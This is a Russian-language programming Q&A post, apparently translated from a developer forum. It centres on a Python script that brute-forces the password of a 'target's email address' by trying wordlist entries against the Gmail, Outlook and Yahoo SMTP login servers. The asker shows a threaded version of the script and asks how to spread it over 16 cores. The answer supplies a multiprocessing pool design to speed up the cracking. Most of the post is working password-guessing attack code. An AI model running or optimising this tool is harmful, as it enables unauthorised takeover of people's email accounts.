Python делится процессом или как сделать эффективную грубую силу
Мне нужно разделить этот процесс на 16 процессов. Я покупаю для него плату Parallela, которая имеет 16 ядер и работает на 90gflops.
Я не собираюсь делать ничего противозаконного. Просто чтобы доказать мою точку зрения, что использование пароля с 7-значными целыми числами слишком небезопасно для организации. Далее я уже решил это, я просто хочу лучший метод.
Это основной рабочий скрипт для него:
import smtplib
service = raw_input("Enter smtp service : ")
if service == "live":
smtpserver = smtplib.SMTP("smtp.live.com", 587)
elif service == "gmail":
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
elif service == "yahoo":
smtpserver = smtplib.SMTP("smtp.mail.yahoo.com", 587)
enter = raw_input("Enter text file name : ")
smtpserver.ehlo()
smtpserver.starttls()
user = raw_input("Enter the target's email address: ")
passwfile = open(enter, 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
Пока попробовал:
import smtplib
from threading import Thread
service = raw_input("Enter smtp service : ")
if service == "live":
smtpserver = smtplib.SMTP("smtp.live.com", 587)
elif service == "gmail":
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
elif service == "yahoo":
smtpserver = smtplib.SMTP("smtp.mail.yahoo.com", 587)
user = raw_input("Enter the target's email address: ")
def tenth():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('10.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def att():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('9.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def atc():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('8.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def atk():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('7.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def attack():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('6.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def tr():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('5.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def br():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('4.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def bru():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('3.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def brute():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('2.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
def arrgh():
smtpserver.ehlo()
smtpserver.starttls()
passwfile = open('1.txt', 'r')
for password in passwfile.readlines():
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break;
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
pass
thread1 = Thread(target = arrgh)
thread1.start()
thread2 = Thread(target = brute)
thread2.start()
thread3 = Thread(target = bru)
thread3.start()
thread4 = Thread(target = br)
thread4.start()
thread5 = Thread(target = tr)
thread5.start()
thread6 = Thread(target = att)
thread6.start()
thread7 = Thread(target = atc)
thread7.start()
thread8 = Thread(target = atk)
thread8.start()
thread9 = Thread(target = attack)
thread9.start()
thread10 = Thread(target = tenth)
thread10.start()
Что это делает, это открыть несколько текстовых файлов. Я хочу, чтобы он мог открыть один текстовый файл и запустить несколько процессов из этого самого.
1 ответ
Прежде всего, если вы не I/O, а CPU связаны, вы должны использовать multiprocessing
вместо threading
, Последний не использует более одного ядра, он просто имеет несколько потоков управления.
Во-вторых, поскольку вы используете py2.7, вы можете попробовать pypy. Он повторяет код Python намного быстрее, чем стандартный CPython.
В-третьих, в идеале вы должны использовать пул рабочих, каждый из которых получает рабочие элементы из очереди. Это автоматически дает вам балансировку нагрузки и другие функции. В вашем случае вы должны создать глобальный пул и заставить функции работать с ним, т.е. использовать multiprocessing.Pool и один из его методов map.
Вы, вероятно, должны иметь такую настройку:
import smtplib
import multiprocessing
def test_passwords(passwords):
smtpserver = smtplib.SMTP("totally.privat.server.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
for password in passwords:
password = password.strip()
try:
smtpserver.login(user, password)
print "[+] Cracked password----> %s" % password
break
except smtplib.SMTPAuthenticationError:
smtpserver.ehlo()
smtpserver.starttls()
workers = multiprocessing.Pool()
def try_my_own_passwords(workers):
worker.map_async(test_passwords, open("my_pws.txt").readlines(), 100)